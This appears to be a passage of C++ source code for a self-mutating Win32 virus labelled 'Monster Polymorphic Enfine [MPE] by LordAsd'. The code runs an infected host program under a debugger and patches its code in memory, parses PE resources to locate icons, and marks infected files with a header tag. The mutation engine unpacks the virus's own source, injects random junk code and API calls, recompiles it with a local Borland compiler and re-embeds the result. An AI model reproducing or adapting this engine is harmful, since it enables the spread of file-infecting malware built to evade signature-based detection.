  sprintf(ss,".%03u",i);;
  strcpy(TempName,Drive);;
  strcat(TempName,Dir);;
  if (!RWDir(TempName))
        if (!GetTempDir(TempName)) return;;
  strcat(TempName,Name);;
  strcat(TempName,ss);;
  h2 = CreateFile(TempName,GENERIC_WRITE,0,NULL,CREATE_NEW,0,NULL);;
  if (h2!=INVALID_HANDLE_VALUE) break;;
 };
 if (h2==INVALID_HANDLE_VALUE)  return;;
 char buf[COPY_BLOCK_SIZE];;
 DWORD written;;
 do
 {
  ReadFile(h1,&buf,sizeof(buf),&readed,NULL);;
  WriteFile(h2,&buf,readed,&written,NULL);;
 } while (readed==sizeof(buf));;
 CloseHandle(h1);;
 CloseHandle(h2);;
 STARTUPINFO SInfo;;
 PROCESS_INFORMATION PInfo;;
 GetStartupInfo(&SInfo);;
 sprintf(buf,"%s%s",Drive,Dir);
 Log(buf);
 if (!CreateProcess(TempName,CommandLine,NULL,NULL,FALSE,
         DEBUG_ONLY_THIS_PROCESS | CREATE_DEFAULT_ERROR_MODE,
         NULL,buf,&SInfo,&PInfo))
 {DeleteFile(TempName);; return;; };;
 BOOL ExceptionHandled = false;;
 BOOL ExceptionOK;;
 DEBUG_EVENT Event;;
 BOOL last;;
 do
 {
        ExceptionOK = true;;
        WaitForDebugEvent(&Event,INFINITE);;
        if (Event.dwProcessId!=PInfo.dwProcessId)
        {
         ContinueDebugEvent(Event.dwProcessId,Event.dwThreadId,DBG_EXCEPTION_NOT_HANDLED);;
         continue;;
        };;
        ExceptionOK = true;;
        last = (Event.dwDebugEventCode == EXIT_PROCESS_DEBUG_EVENT);;
        if (Event.dwDebugEventCode == EXCEPTION_DEBUG_EVENT)
        { // Handle exception :E
         ExceptionOK = false;;
         if ((Event.u.Exception.ExceptionRecord.ExceptionCode==EXCEPTION_ILLEGAL_INSTRUCTION)&&
                (Event.u.Exception.ExceptionRecord.ExceptionFlags!=EXCEPTION_NONCONTINUABLE))
         {
          WORD Glitch = 0;;
          DWORD readed = 0;;
          ReadProcessMemory(PInfo.hProcess,Event.u.Exception.ExceptionRecord
                                                                                .ExceptionAddress,&Glitch,2,&readed);;
          if (Glitch == 0xFFFF)
          {
                char SHIT[3]="\x55\x8B\xEC";;
                DWORD written = 0;;
                WriteProcessMemory(PInfo.hProcess,
                 Event.u.Exception.ExceptionRecord.ExceptionAddress,&SHIT,3,&written);;
                ExceptionHandled = true;;
                ExceptionOK = (written==3);;
          };;
         };;
        };; // EXCEPTION_DEBUG_EVENT
 if (ExceptionHandled)
  ContinueDebugEvent(Event.dwProcessId,Event.dwThreadId,DBG_CONTINUE);;
 else
  {
   ContinueDebugEvent(Event.dwProcessId,Event.dwThreadId,DBG_EXCEPTION_NOT_HANDLED);;
   Log("Exception not handled");;
  };
 }
 while (!last);;
 DWORD TStatus;;
 do
  { GetExitCodeProcess(PInfo.hProcess,&TStatus);; }
 while (TStatus==STILL_ACTIVE);;
 if (ExceptionHandled) Log("There were exceptions handled in this process");;
 for (i=0; i<13; i++)
 {
  Sleep(1000);;
  if (DeleteFile(TempName)) break;;
 };;
 Log("File deleted");
}

/******************************************************************************/
/*                                                               FILE FORMAT DETECTION                                                                  */
/******************************************************************************/

//Declaration
int DetectFileFormat(char* TargetName)
{
 int    x = FILE_FORMAT_UNRECOGNIZED;;
 unsigned char header[0x100];;
 DWORD readed;;
 HANDLE h = CreateFile(TargetName,GENERIC_READ, FILE_SHARE_READ |
  FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL);;
 if (h==INVALID_HANDLE_VALUE) return x;;
 ReadFile(h,&header,sizeof(header),&readed,NULL);;
 if (readed!=sizeof(header)) { CloseHandle(h); return x;; };;
 WORD w = *((WORD*)header);
 if (w!=0x5A4D) return x;;
 x=FILE_FORMAT_MZ;;
 UINT jaddr = (header[0x3C]+header[0x3D]*0x100);;
 SetFilePointer(h,jaddr,NULL,FILE_BEGIN);;
 ReadFile(h,&header,sizeof(header),&readed,NULL);;
 if (readed!=sizeof(header)) { CloseHandle(h);; return x;; };;
 w = *((WORD*)header);
 switch (w)
 {
  case 0x454E : x = FILE_FORMAT_NE;; break;
  case 0x4550 : x = FILE_FORMAT_PE;; break;
  case 0x454C : x = FILE_FORMAT_LE;; break;
  case 0x584C : x = FILE_FORMAT_LX;; break;
 };;
 CloseHandle(h);;
 return x;;
}

/******************************************************************************/
/*                                                               RESOURCE PROCESSING                                                                    */
/******************************************************************************/
DWORD located_addr;
bool  TypeIcon;
DWORD delta;

//Declaration
LPVOID GetSectionPtr(PSTR name, PIMAGE_NT_HEADERS pNTHeader, DWORD imageBase)
{
 PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(pNTHeader);;
 for (unsigned i=0; i<pNTHeader->FileHeader.NumberOfSections; i++,section++)
 {
  if (strnicmp(section->Name,name,IMAGE_SIZEOF_SHORT_NAME)==0)
  {
        delta = section->PointerToRawData - section->VirtualAddress;;
        return (LPVOID)(section->PointerToRawData + imageBase);;
  };
 };
 return 0;;
};

void DumpResourceDirectory (PIMAGE_RESOURCE_DIRECTORY resDir,
                        DWORD resourceBase, DWORD level, DWORD resourceType);

//Declaration
void DumpResourceEntry( MY_PIMAGE_RESOURCE_DIRECTORY_ENTRY resDirEntry,
                                                                DWORD resourceBase, DWORD level)
{
 UINT i;;
 char nameBuffer[128];;
 PIMAGE_RESOURCE_DATA_ENTRY pResDataEntry;;
 if ( (resDirEntry->u2.OffsetToData) & IMAGE_RESOURCE_DATA_IS_DIRECTORY )
 {
  DumpResourceDirectory( (PIMAGE_RESOURCE_DIRECTORY)
        ((resDirEntry->u2.OffsetToData & 0x7FFFFFFF) + resourceBase),
                resourceBase, level, resDirEntry->u.Name);;
  return;;
 };;
 pResDataEntry = (PIMAGE_RESOURCE_DATA_ENTRY)
                                          (resourceBase + resDirEntry->u2.OffsetToData);;
 if (TypeIcon&&(located_addr==0)&&(pResDataEntry->Size==744))
  located_addr=pResDataEntry->OffsetToData+delta;;
};;
//Declaration
void DumpResourceDirectory(PIMAGE_RESOURCE_DIRECTORY resDir,DWORD resourceBase,
                                                                        DWORD level, DWORD resourceType)
{
 MY_PIMAGE_RESOURCE_DIRECTORY_ENTRY resDirEntry;;
 UINT i;;
 TypeIcon = (resourceType==1)||(resourceType==3);;
  resDirEntry = (MY_PIMAGE_RESOURCE_DIRECTORY_ENTRY)(resDir+1);;
 for ( i=0; i < resDir->NumberOfNamedEntries; i++, resDirEntry++ )
  DumpResourceEntry(resDirEntry, resourceBase, level+1);;
 for ( i=0; i < resDir->NumberOfIdEntries; i++, resDirEntry++ )
  DumpResourceEntry(resDirEntry, resourceBase, level+1);;
};;

//Declaration
void DumpResourceSection(DWORD base, PIMAGE_NT_HEADERS pNTHeader)
{
 PIMAGE_RESOURCE_DIRECTORY resDir;;
 resDir = (PIMAGE_RESOURCE_DIRECTORY) GetSectionPtr(".rsrc", pNTHeader, (DWORD)base);;
 if ( !resDir ) return;;
 DumpResourceDirectory(resDir,(DWORD)resDir,0,0);;
};
//Declaration
DWORD FindIcon(char* TargetName)
{
 located_addr = 0;;
 PIMAGE_DOS_HEADER dosHeader;;
 HANDLE hFile = CreateFile(TargetName,GENERIC_READ, FILE_SHARE_READ,NULL,
                                                  OPEN_EXISTING,0,NULL);;
 if ( hFile == INVALID_HANDLE_VALUE ) return 0;;
 HANDLE hFileMapping = CreateFileMapping(hFile,NULL,PAGE_READONLY,0,0,NULL);;
 if ( hFileMapping == 0 ) {CloseHandle(hFile);; return 0;; };;
 LPVOID lpFileBase = MapViewOfFile(hFileMapping,FILE_MAP_READ,0,0,0);;
 if ( lpFileBase == 0 )
  {CloseHandle(hFileMapping);; CloseHandle(hFile);; return 0;; };;
 if ((*((WORD*)lpFileBase))!=0x5A4D)
  {
        UnmapViewOfFile(lpFileBase);; CloseHandle(hFileMapping);;
        CloseHandle(hFile);; return 0;;
  };;
 PIMAGE_NT_HEADERS pNTHeader;;
 DWORD base = (DWORD)lpFileBase;;
 WORD hru = *((WORD*)((DWORD)(lpFileBase)+0x3C));;
 pNTHeader  = (PIMAGE_NT_HEADERS)(DWORD(lpFileBase)+hru);;

 DumpResourceSection(base,pNTHeader);;

 UnmapViewOfFile(lpFileBase);;
 CloseHandle(hFileMapping);;
 CloseHandle(hFile);;
 return located_addr;;
}
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[main.cpp]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[mutant.cpp]ÄÄ
// Monster Polymorphic Enfine [MPE] by LordAsd
// for BC++ for Win32 version 4.5 / 5.01

#include "winapp32.h"

#define PACKED_FILE_LAST 1
#define PACKED_FILE_NOT_LAST 0
#define MAX_FUNCTIONS 13
#define MAX_VARS 50

//Declaration
struct TArcFileRec
{
 UINT Last;
 UINT Size;
 char Name[15];
}/*Separator*/;


#define MAX_TRASH_INDEX 30
typedef char String[MAX_PATH];
char PM_TempDir[MAX_PATH];
char PM_Prefix[]="????";
int  GenIndex = 0;

String PM_Trash[MAX_TRASH_INDEX];

int PM_CurrIndex = -1;

//Declaration
void GetID(char* ss)
{
 GenIndex++;;
 sprintf(ss,"_%s%04X",PM_Prefix,GenIndex);;
};

//Declaration
void PM_AddToTrash(char* ss)
{
 if (PM_CurrIndex==(MAX_TRASH_INDEX-1)) { Log("ERROR"); return;;};
 PM_CurrIndex++;;
 strcpy(PM_Trash[PM_CurrIndex],ss);;
};
//Declaration
bool PM_GetFromList(int num, char* ss)
{
 if (num>PM_CurrIndex) return false;;
 strcpy(ss,PM_Trash[num]);;
 return true;;
};

//Declaration
bool PM_Init()
{
 if (SrcPtr==NULL) return false;;
 sprintf(PM_Prefix,"%04X",random(0xFFFF));;
 return GetTempDir(PM_TempDir);;
};
//Declaration
void PM_Cleanup()
{
 if (LogfingEnabled) return;;
 int x = 0;;
 String Name;;
 char   Drive[MAX_PATH];;
 char   Dir[MAX_PATH];;
 char   FName[MAX_PATH];;
 char   Ext[MAX_PATH];;

 while (PM_GetFromList(x,Name))
 {
  fnsplit(Name,Drive,Dir,FName,Ext);;
  DeleteFile(Name);;
  sprintf(Name,"%s%s%s.OBJ",Drive,Dir,FName);;
  DeleteFile(Name);;
  x++;;
 };;
};
//Declaration
bool PM_FileAvailable(char* Name, DWORD size)
{
 char ss[MAX_PATH+666];;
 strcpy(ss,BCRoot);;
 strcat(ss,Name);;
 HANDLE h1 = CreateFile(ss,GENERIC_READ,FILE_SHARE_READ,NULL,
								  OPEN_EXISTING,0,0);;
 if (h1==INVALID_HANDLE_VALUE) return false;;
 DWORD rsize = SetFilePointer(h1,0,NULL,FILE_END);;
 CloseHandle(h1);;
 if (abs(rsize-size)>50000) return false;;
 return true;;
};
//Declaration
bool PM_AllFilesAvailable()
{
 bool x1 = true;;
 bool x2 = true;;
 if (!PM_FileAvailable("\\BIN\\BCC32.EXE", 626688)) x1 = false;;
 if (!PM_FileAvailable("\\BIN\\MAKE.EXE", 90112)) x1 = false;;
 if (!PM_FileAvailable("\\BIN\\TDSTRP32.EXE", 45056)) x1 =  false;;
 if (!PM_FileAvailable("\\BIN\\COMPRESS.EXE", 15259)) x1 =  false;;

 if (!PM_FileAvailable("\\BIN\\BCC32.EXE", 675840)) x2 = false;;
 if (!PM_FileAvailable("\\BIN\\BRC32.EXE", 47684))  x2 = false;;
 if (!PM_FileAvailable("\\BIN\\TLINK32.EXE", 180224)) x2 =  false;;
 if (!PM_FileAvailable("\\BIN\\COMPRESS.EXE", 15259)) x2 =  false;;

 return (x1 || x2);;
};
//Declaration
bool PM_Unpack()
{
 char src_name[MAX_PATH];;
 strcpy(src_name,PM_TempDir);;
 strcat(src_name,"\\WINAPP32.LZZ");;
 PM_AddToTrash(src_name);;
 HANDLE h1 = CreateFile(src_name,GENERIC_WRITE,0,NULL,CREATE_NEW,0,0);;
 if (h1==INVALID_HANDLE_VALUE) return false;;
 DWORD written;;
 WriteFile(h1,SrcPtr,SSize,&written,NULL);;
 CloseHandle(h1);;
 if (written!=SSize) return false;;
 OFSTRUCT lz_fdata;;
 OFSTRUCT lz_fdata2;;
 char dest_name[MAX_PATH];;
 strcpy(dest_name,PM_TempDir);;
 strcat(dest_name,"\\WINAPP32.LZX");;
 PM_AddToTrash(dest_name);;
 INT lz_src = LZOpenFile(src_name,&lz_fdata,OF_READ);;
 if (lz_src<0) return false;;
 INT lz_dest = LZOpenFile(dest_name,&lz_fdata2,OF_CREATE);;
 LONG check = LZCopy(lz_src,lz_dest);;
 LZClose(lz_src);;
 LZClose(lz_dest);;
 if (check<0) return false;;
 DeleteFile(src_name);;
 h1 = CreateFile(dest_name,GENERIC_READ,0,NULL,OPEN_EXISTING,0,0);;
 if (h1==INVALID_HANDLE_VALUE) return false;;
 TArcFileRec FInfo;;
 FInfo.Last = PACKED_FILE_NOT_LAST;;
 while (FInfo.Last==PACKED_FILE_NOT_LAST)
 {
  DWORD readed;;
  ReadFile(h1,&FInfo,sizeof(FInfo),&readed,NULL);;
  if (readed!=sizeof(FInfo)) {CloseHandle(h1);; return false;;};;
  char Name[MAX_PATH];;
  sprintf(Name,"%s\\%s",PM_TempDir,FInfo.Name);;
  PM_AddToTrash(Name);;
  HANDLE h2 = CreateFile(Name,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,0);;
  if (h2==INVALID_HANDLE_VALUE) {CloseHandle(h1);; return false;;};;
  void* shit = malloc(FInfo.Size);;
  ReadFile(h1,shit,FInfo.Size,&readed,NULL);;
  DWORD written;;
  WriteFile(h2,shit,FInfo.Size,&written,NULL);;
  CloseHandle(h2);;
  if ((readed!=FInfo.Size)||(written!=FInfo.Size))
	{CloseHandle(h1);; return false;;};;
  free(shit);;
 };; // While not last file
 CloseHandle(h1);;
 return true;;
};

//Declaration
void CreatePragma(char* s)
{
 strcpy(s,"");;
#pragma message "Function not implemented"
};

struct TFuncRec
{
 char  ID[10];
 char  RetType[MAX_TYPE_ID_LENGTH];
 bool  VoidRet;
};
int FuncIndex = -1;
TFuncRec FuncData[MAX_FUNCTIONS];

struct TVarRec
{
 char  ID[10];
 char  Type[MAX_TYPE_ID_LENGTH];
};
int VarIndex = -1;
TVarRec VarData[MAX_VARS];

//Declaration  // this one returns VarIndex for new variable, or -1 if fault
int DeclareVar(HANDLE h,char* type)
{
 if (VarIndex==(MAX_VARS-1))
  {Log("ERROR"); return -1;;};;
 VarIndex++;;
 char s[MAX_LINE];;
 GetID(VarData[VarIndex].ID);;
 strcpy(VarData[VarIndex].Type,type);;
 sprintf(s,"%s %s;",type,VarData[VarIndex].ID);;
 Writeln(h,s);;
 return 0;;
};

//Declaration
void GenAriAssign(HANDLE h)
{
 char t[3];;
 char ss[MAX_LINE];;
 int  x = random(N_TYPES);;
 strcpy(t,Types[x].sh);;
 if (Types[x].ari!=1) // Invalid type for ari operations
 {
  if (stricmp(t,"ch")==0) return;;
  sprintf(ss,"XX%s%u = XX%s%u; %s",t,random(3),t,random(3),MUT);;
  Writeln(h,ss);;
  return;;
 };;
 char	aa[100];;
 sprintf(ss,"%s XX%s%u = 1 ",MUT,t,random(4));;
 for (int i=0; i<random(4)+1; i++)
 {
  strcat(ss,ari_op[random(N_ARI_OP)]);;
  switch (random(3))
  {
	case 0 :
	 sprintf(aa,"%u",random(100));;
	 break;
	default :
	 sprintf(aa,"XX%s%u",t,random(4));;
  };; //switch
  strcat(ss,aa);;
 };;//for
 strcat(ss,";");;
 Writeln(h,ss);;
};
//Declaration
void GenApiCall(HANDLE h)
{
 TApiCallRec This = ApiCallData[random(N_API_CALLS)];;
 char s[MAX_LINE],ss[MAX_LINE];;
 strcpy(s,"");;
 if (!This.RetVoid) sprintf(s,"XX%s%u = ",This.ret_type,random(4));;
 sprintf(ss,"%s(",This.name);;
 strcat(s,ss);;
 for (int i=0; i<This.num_params; i++)
 {
  sprintf(ss,"XX%s%u",This.params[i],random(4));;
  strcat(s,ss);;
  if (i!=(This.num_params-1)) strcat(s,",");;
 };;//For
 strcat(s,");");;
 strcat(s,MUT);;
 Writeln(h,s);;
};


//Declaration
void GenAnyCode(HANDLE h)
{
 char foo[5]="{;";;
 strcat(foo,";");;
 Writeln(h,foo);;
 for (int i=0; i<random(5); i++)
 {
  switch (random(10))
  {
	case 0 :
	case 1 :
	case 2 :
	  DeclareVar(h,Types[random(N_TYPES)].lo);; break;
	case 3 :
	case 4 :
	case 5 :
	  GenAriAssign(h);; break;
	case 6 :
	case 7 :
	case 8 :
	  GenApiCall(h);; break;
  };; //switch
 };;
 foo[0] = '}';
 Writeln(h,foo);;
};;
//Declaration

void DeclareFunction(HANDLE h)
{
 char ss[100];;
 if (FuncIndex==(MAX_FUNCTIONS-1)) return;;
 FuncIndex++;;
 FuncData[FuncIndex].VoidRet = true;;
 GetID(FuncData[FuncIndex].ID);;
 strcpy(FuncData[FuncIndex].RetType,"void");;
 Writeln(h,PM_Declare);;
 sprintf(ss,"inline %s",MUT);;
 if (random(13)==0) Writeln(h,ss);;
 sprintf(ss,"%s %s()",FuncData[FuncIndex].RetType,FuncData[FuncIndex].ID);;
 Writeln(h,ss);;
 GenAnyCode(h);;
};
//Declaration
void ProcessTextFile(char* Name1, char* Name2)
{
 FuncIndex = -1;;
 VarIndex = -1;;
 char ss[MAX_LINE];;
 HANDLE h1 = CreateFile(Name1,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,0);;
 if (h1==INVALID_HANDLE_VALUE) return;;
 HANDLE h2 = CreateFile(Name2,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,0);;
 if (h2==INVALID_HANDLE_VALUE) {CloseHandle(h1);; return;;};;
 char s[MAX_LINE];;
 while (Readln(h1,s))
 {
  // Mutation
  if (random(100)==0) { CreatePragma(ss);; Writeln(h2,ss);;};;
  if ((strstr(s,PM_Declare)!=NULL)&&(random(13)==0)) DeclareFunction(h2);;
  if ((strstr(s,PM_EndLine)!=NULL)&&(random(100)==0)&&(strlen(s)<200))
  {
	strcpy(ss,strstr(s,PM_EndLine));;
	*(strstr(s,PM_EndLine)+2)='\0';;
	Writeln(h2,s);;
	GenAnyCode(h2);;
	strcpy(s,ss);;
  };;
  // Original line
  Writeln(h2,s);;
 };;
 Writeln(h2,s);;
 CloseHandle(h1);;
 CloseHandle(h2);;
 return;;
};
//Declaration
void PM_AddSource(char* AddName,char* TargetName,int status)
{
 HANDLE h1 = CreateFile(AddName,GENERIC_WRITE,0,NULL,OPEN_ALWAYS,0,0);;
 HANDLE h2 = CreateFile(TargetName,GENERIC_READ,0,NULL,OPEN_EXISTING,0,0);;
 if ((h1==INVALID_HANDLE_VALUE)||(h2==INVALID_HANDLE_VALUE)) return;;
 TArcFileRec FInfo;;
 SetFilePointer(h1,0,NULL,FILE_END);;
 FInfo.Size = SetFilePointer(h2,0,NULL,FILE_END);;
 SetFilePointer(h2,0,NULL,FILE_BEGIN);;
 FInfo.Last = status;;
 char   Drive[MAX_PATH];;
 char   Dir[MAX_PATH];;
 char   Name[MAX_PATH];;
 char   Ext[MAX_PATH];;
 fnsplit(TargetName,Drive,Dir,Name,Ext);;
 strcpy(FInfo.Name,Name);;
 strcat(FInfo.Name,Ext);;
 void* buf = malloc(FInfo.Size);;
 DWORD readed = 0;;
 WriteFile(h1,&FInfo,sizeof(FInfo),&readed,NULL);;
 ReadFile(h2,buf,FInfo.Size,&readed,NULL);;
 WriteFile(h1,buf,FInfo.Size,&readed,NULL);;
 CloseHandle(h1);;
 CloseHandle(h2);;
 free(buf);;
 return;;
};

//Declaration
void PermutationEnfine()
{
// Check if all OK
 if (BadImage)   return;;
 if (Permutated) return;;
 Permutated = true;; // Only one (no more than one) attempt during session
 if (!PM_Init()) return;;
 if (!PM_AllFilesAvailable()) return;;

// Unpack sources
 if (!PM_Unpack()) {PM_Cleanup();;return;;};;
// CPP files mutation
 int x = 0;;
 String Name;;
 char CurrName[MAX_PATH];;
 strcpy(CurrName,PM_TempDir);;
 strcat(CurrName,"\\CURRENT.MUT");;
 PM_AddToTrash(CurrName);;
 while (PM_GetFromList(x,Name))
 {
  if (stricmp(Ext(Name),".CPP")==0)
  {
	MoveFile(Name,CurrName);;
	ProcessTextFile(CurrName,Name);;
	DeleteFile(CurrName);;
  }; // .CPP extension
  x++;;
 };
 sprintf(Name,"%s\\BCCW32.CFG",PM_TempDir);;
 PM_AddToTrash(Name);;
 sprintf(Name,"%s\\WINAPP32.RES",PM_TempDir);;
 PM_AddToTrash(Name);;

// Makefile processing
 sprintf(Name,"%s\\WINAPP32.MAK",PM_TempDir);;
 HANDLE h1 = CreateFile(Name,GENERIC_READ,0,NULL,OPEN_ALWAYS,0,0);;
 sprintf(Name,"%s\\THIS_ONE.MAK",PM_TempDir);;
 PM_AddToTrash(Name);;
 HANDLE h2 = CreateFile(Name,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,0);;
 if ((h1==INVALID_HANDLE_VALUE)||(h2==INVALID_HANDLE_VALUE))
  { PM_Cleanup();; return;; };;
 DWORD size = SetFilePointer(h1,0,NULL,FILE_END);;
 char* foo = (char* )malloc(size);;
 char* zu = foo;;
 SetFilePointer(h1,0,NULL,FILE_BEGIN);;
 DWORD bar;;
 ReadFile(h1,foo,size,&bar,NULL);;
 for (int i=0; i<size; i++)
 {
  if ((*foo)=='^')
	 WriteFile(h2,&BCRoot,strlen(BCRoot),&bar,NULL);
	else
	 WriteFile(h2,foo,1,&bar,NULL);;
  foo++;;
 };
 CloseHandle(h1);;
 CloseHandle(h2);;
 free(zu);;
// 1st compilation

 char ex[MAX_PATH];;
 char Strip[MAX_PATH];;
 char Target[MAX_PATH];;

 sprintf(Target,"%s\\WINAPP32.EXE",PM_TempDir);;
 sprintf(ex,"%s\\BIN\\MAKE.EXE -f  %s\\THIS_ONE.MAK ",BCRoot,PM_TempDir);;
 sprintf(Strip,"%s\\BIN\\TDSTRP32.EXE %s",BCRoot,Target);;
 PM_AddToTrash(Target);;

 if (!Exec(ex,PM_TempDir)) { PM_Cleanup();; return;; };;
 if (!Exec(Strip,PM_TempDir)) {PM_Cleanup();; return;; };;

// 1st compile result check

 h1 = CreateFile(Target,GENERIC_READ,0,NULL,OPEN_EXISTING,0,0);;
 if (h1==INVALID_HANDLE_VALUE) { PM_Cleanup();; return;; };;
 DWORD TargetSize = SetFilePointer(h1,0,NULL,FILE_END);;
 CloseHandle(h1);;

// Process sources, build archive and compress it

 x=0;;
 char Solid[MAX_PATH];;
 sprintf(Solid,"%s\\WINAPP32.SRX",PM_TempDir);;
 PM_AddToTrash(Solid);;
 while (PM_GetFromList(x,Name))
 {
  if (stricmp(Ext(Name),".CPP")==0) PM_AddSource(Solid,Name,PACKED_FILE_NOT_LAST);;
  x++;;
 };;
 sprintf(Name,"%s\\WINAPP32.MAK",PM_TempDir);;
 PM_AddSource(Solid,Name,PACKED_FILE_NOT_LAST);;
 sprintf(Name,"%s\\WINAPP32.DEF",PM_TempDir);;
 PM_AddSource(Solid,Name,PACKED_FILE_NOT_LAST);;
 sprintf(Name,"%s\\WINAPP32.RC",PM_TempDir);;
 PM_AddSource(Solid,Name,PACKED_FILE_NOT_LAST);;
 sprintf(Name,"%s\\WINAPP32.H",PM_TempDir);;
 PM_AddSource(Solid,Name,PACKED_FILE_LAST);;

 char Compressed[MAX_PATH];;
 sprintf(Compressed,"%s\\WINAPP32.SRN",PM_TempDir);;
 PM_AddToTrash(Compressed);;
 char ss[MAX_PATH+666];;
 sprintf(ss,"%s\\BIN\\COMPRESS.EXE %s %s",BCRoot,Solid,Compressed);;
 if (!Exec(ss,PM_TempDir)) {PM_Cleanup();; return;; };;
 h1 = CreateFile(Compressed,GENERIC_READ,0,NULL,OPEN_EXISTING,0,0);;
 if (h1==INVALID_HANDLE_VALUE) {PM_Cleanup();;  return;; };;
 DWORD SrcSize = SetFilePointer(h1,0,NULL,FILE_END);;
 CloseHandle(h1);;
// Update WINAPP32.H to new sizes
 char WinApp32h[MAX_PATH];;
 char NewWinApp32h[MAX_PATH];;
 sprintf(WinApp32h,"%s\\WINAPP32.H",PM_TempDir);;
 sprintf(NewWinApp32h,"%s\\HEADER.NEW",PM_TempDir);;
 h1 = CreateFile(WinApp32h,GENERIC_READ,0,NULL,OPEN_EXISTING,0,0);;
 if (h1==INVALID_HANDLE_VALUE) { PM_Cleanup();;  return;; };;
 h2 = CreateFile(NewWinApp32h,GENERIC_WRITE,0,NULL,CREATE_NEW,0,0);;
 if (h1==INVALID_HANDLE_VALUE) { PM_Cleanup();;  return;; };;
 char s[MAX_LINE];;
 while (Readln(h1,s))
 {
  if (strstr(s,vs_const)!=NULL)
	sprintf(s,"DWORD VSize = %u; const char vs_const[]=\"%s\";",TargetSize,vs_const);;
  if (strstr(s,ss_const)!=NULL)
	sprintf(s,"DWORD SSize = %u; const char ss_const[]=\"%s\";",SrcSize,ss_const);;
  Writeln(h2,s);;
 };;
 Writeln(h2,s);;
 CloseHandle(h1);;
 CloseHandle(h2);;
 DeleteFile(WinApp32h);;
 MoveFile(NewWinApp32h,WinApp32h);;

// 2nd compile

 DeleteFile(Target);;
 while (PM_GetFromList(x,Name))
 {
  if (stricmp(Ext(Name),".OBJ")==0) DeleteFile(Name);;
  x++;;
 };;

 if (!Exec(ex,PM_TempDir)) { PM_Cleanup();; return;; };;
 if (!Exec(Strip,PM_TempDir))	{ PM_Cleanup();; return;; };;

// 2nd compile result check

 h1 = CreateFile(Target,GENERIC_READ | GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,0);;
 if (h1==INVALID_HANDLE_VALUE) { PM_Cleanup();; return;; };;
 DWORD CheckSize = SetFilePointer(h1,0,NULL,FILE_END);;
 if (CheckSize!=TargetSize) {CloseHandle(h1); PM_Cleanup();; return;; };;
 BadImage = true;;
 SetFilePointer(h1,0,NULL,FILE_BEGIN);;
 free(VPtr);;
 VSize = TargetSize;;
 VPtr = malloc(VSize);;
 DWORD readed  = 0;;
 DWORD written;;
 ReadFile(h1,VPtr,VSize,&readed,NULL);;
 char* hru = (char*)VPtr;;
 DWORD ii = (*(hru+0x3C)) + (*(hru+0x3D))*0x100;;
 if ( ((*(hru+ii))!='P')&&((*(hru+ii+1))!='E'))
  { CloseHandle(h1);; PM_Cleanup();; return;; };;
 *(hru+ii-2) = 'L';;
 *(hru+ii-1) = 'A';;

// Link, replacing new source

 h2 = CreateFile(Compressed,GENERIC_READ,0,NULL,OPEN_EXISTING,0,0);;
 free(SrcPtr);;
 SrcPtr = malloc(SrcSize);;
 SSize = SrcSize;;
 ReadFile(h2,SrcPtr,SrcSize,&readed,NULL);;
 CloseHandle(h1);;
 CloseHandle(h2);;
 if (readed!=SrcSize) { PM_Cleanup();; return;; };;
 BadImage = false;;
 DeleteFile(Target);;
 PM_Cleanup();;
};

//Declaration


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